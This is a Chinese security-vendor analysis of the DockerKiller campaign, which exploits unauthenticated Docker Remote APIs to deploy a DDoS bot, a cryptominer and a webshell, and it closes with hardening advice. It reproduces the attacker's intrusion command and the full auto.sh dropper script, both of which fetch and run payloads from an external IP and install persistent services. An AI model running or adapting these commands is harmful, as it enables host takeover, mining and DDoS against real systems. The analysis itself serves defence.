随着微服务的热度不断上升,越来越多的企业选择容器来部署自己的应用。而Docker作为实现微服务首选容器,在大规模部署的同时其安全性却没有引起足够的重视。
近期阿里云安全团队发现首个针对Docker批量攻击与利用实例,攻击者对Docker攻击后利用IRC后门、webshell多种手段实现持久化,在主机上执行挖矿、DDoS等恶意行为。随着攻防对抗成本的逐步增加,未来此类攻击利用行为可能会越来越直接,其利用套现方式也会变得多重。建议企业加强对其边缘应用的管理,防范因不当配置而导致的威胁风险。
Docker是一个开源的应用容器引擎,允许开发者将其应用和依赖包打包到一个可移植的容器中,并发布到任何流行的Linux机器上,以实现虚拟化。由于有非常好的移植性,Docker被广泛应用到简化配置、快速部署、多租户环境中,并逐步使用到生产环境中,且广泛部署到云上。
然而,Docker给互联网开发者带来便利的同时,其安全事件或配置却没有像主机端或其他应用得到该有的重视。正如我们所熟知的Redis因配置不当可以导致未授权访问,被攻击者恶意利用,例如著名的蠕虫DDG通过Redis未授权访问漏洞进行传播,且感染量巨大、影响深远。而Docker的Remote API因配置不当也可以未经授权进行访问,与Redis类似攻击者无需认证即可访问到Docker数据,漏洞可能导致铭感信息泄露、修改、服务器受控等。
近期阿里云安全团队发现首个针对Docker批量攻击与利用实例。被入侵主机上发现了名为bashd、xm、p.php等文件,其分别用于DDos攻击、挖矿、webshell后门维持。由于这批样本专门针对Docker进行攻击、利用,因此我们将这批样本命名为DockerKiller。目前,该样本还未大批量传播,但是一旦爆发,很可能导致Docker被大规模入侵及利用,使企业用户资产遭受重大损失。目前阿里云云盾已经可以防御此类攻击,阿里云安全团队也会持续跟进DockerKiller最新情况,
本文将从扫描、入侵、利用等多个方面,还原DockerKiller整个过程,为大家解密一起专门针对Docker攻击、利用的安全事件。
解密DockerKiller
阿里云安全通过相关线索发现DockerKiller下载服务器,其存放着Linux Shell脚本、二进制文件、php文件以及一些配置文件,其创建时间都为2018年7月17日。
经过分析以上文件为:扫描脚本、入侵脚本、DDoS木马、挖矿程序、WebShell等,通过以上几个部分的相互协作,构成了DockerKiller从扫描到入侵、利用、维持等一系列流程。
其完整的攻击路线图如下:
以下,我们将从入侵、利用、后门维持等方面进行详细分析:
脚本分析(扫描与批量入侵)
从p.txt文件中我们可以发现,在2018年7月16日,作者用Masscan对本地局域网的172所属的5个网段进行了扫描,疑似在测试扫描脚本。
test.sh为发起入侵的脚本,脚本从dockerips.txt中读取通过Masscan扫描得到的开放了2375端口的Docker容器的IP,之后通过命令对读取的IP进行入侵,具体可见从服务器159.203.21.239拉取脚本auto.sh并执行。
其关键代码如下,该脚本通过Docker未授权访问漏洞进行入侵,成功进入被入侵的主机后,即从远程的下载服务器上下载执行脚本auto.sh,之后便执行该脚本,然后进行删除
Docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget http://159.203.21.239/p/auto.sh" -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.sh
成功入侵到Docker内之后,将会执行auto.sh,脚本会对老版本文件进行清理,之后从下载服务器中拉取包括webshell、挖矿程序、后门程序、任务文件、挖矿配置文件等众多文件到本地,然后一一执行。
功能执行顺序为:
相关脚本如下:
#!/bin/sh
rm bashd.1;
rm xm.1;
rm data.cfg.1;
rm bashd.service.1;
rm xm.service.1;
wget http://159.203.21.239/p/p.php -O privacy.php | sed 's/\r//g';
cp privacy.php /var/www/html/privacy.php;
cp privacy.php /var/www/privacy.php;
rm privacy.php;
chmod -R 777 /var/www;
wget http://159.203.21.239/p/bashd -O bashd | sed 's/\r//g';
wget http://159.203.21.239/p/xm -O xm | sed 's/\r//g';
wget http://159.203.21.239/p/data.cfg -O data.cfg | sed 's/\r//g';
wget http://159.203.21.239/p/bashd.service -O bashd.service | sed 's/\r//g';
wget http://159.203.21.239/p/xm.service -O xm.service | sed 's/\r//g';
sleep 2s;
chmod 777 bashd;
chmod 777 xm;
sleep 2s;
mv "bashd.service" "/etc/systemd/system/bashd.service";
mv "xm.service" "/etc/systemd/system/xm.service";
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl stop xm.service;
systemctl enable bashd.service;
systemctl start bashd.service;
systemctl enable xm.service;
systemctl start xm.service;
样本分析
DDoS木马
三个服务器地址如下:
建立连接后,便等待服务器下发的指令,其支持的命令如下包括发起ACK洪水攻击、SYN洪水攻击、发送UDP包、网络数据抓包等
其具体支持指令和功能如下:
程序通过调用以上函数执行相关指令,例如,以下是该样本发送SYN FLOOD的攻击代码:
以下是该样本发送ACK FLOOD的攻击代码:
该样本进入主机之后便直接运行,并通过IRC通信协议连接服务器端,之后便一直等待服务器端下发的指令,主机一旦遭受入侵之后,便沦为肉鸡,作为DDoS客户端发动DDoS攻击。
挖矿程序
挖矿程序xm是基于开源xmrig挖矿工具修改的,大小为1.9M,编译的版本为X86-64,编译时间为2018年7月17日11点35分,可以发现其支持的命令如下:
在分析的过程中并未发现其他钱包地址,其服务器中的配置文件data.cfg并不能下载,而该文件应该存储的是钱包地址,依据文件创建时间和阿里云发现该类入侵的时间点,我们怀疑DockerKiller还处于测试阶段,并未大规模批量化的进行利用。
webshell后门
p.php是由php编写的,作者对其做了混淆,其原始文件如下:
进行解码之后得到如下文件:
最终得到一个功能完善的大马,其功能包括基本信息的显示、命令执行、文件上传、爆破等诸多功能:
auto.sh运行之后,会将下载服务器上的p.php下拉到被入侵的主机上,通过cp指令将文件privacy.php拷贝到服务器主目录/var/www/html和/var/www,这样一旦Docker上部署了重要的网站服务,便可以作为后门维持,进行后续一系列包括文件窃取、命令执行、破坏等恶意行为。
安全建议
1. 修改Docker Remote API服务默认参数(需重启服务)
(1)定位到DOCKER_OPTS中的tcp://0.0.0.0.2375,将0.0.0.0修改为127.0.0.1
(2)或将默认端口2375改为自定义端口
2. 为RemoteAPI设置认证措施(需重启服务)
3. 修改Docker服务运行账号(需重启服务)
请以较低权限账号运行Docker账号,这样可以限制攻击者执行高危命令
4. 设置防火墙策略
如果正常业务中 API 服务需要被其他服务器来访问,可以配置安全组策略或 iptables 策略,仅允许指定的 IP 来访问 Docker 接口。
5. 使用阿里巴巴云盾检测及防护
云盾态势感知支持该漏洞的检测和防护,您可以到云盾控制台开通并使用
总结
DockerKiller利用Docker未授权访问漏洞进行挖矿、DDoS攻击、WebShell后门维持等行为。虽然在对样本进行溯源分析的过程中,我们没有发现相关的钱包地址信息,且由于该样本近期才开始活跃,我们有理由怀疑DockerKiller还在测试阶段,暂时没有大批量的传播,但是类似Redis未授权访问漏洞被利用等安全事件,可以推断后续该类攻击可能大规模爆发。
在此提醒广大互联网用户,Docker作为微服务容器,已经被越来越多企业大规模的部署,一旦配置不当,很容易导致大规模的入侵,企业应该自查Docker相关配置,增强对边缘应用的安全意识,切实保护自身资产安全。
IOC:
IRC域名:
参考链接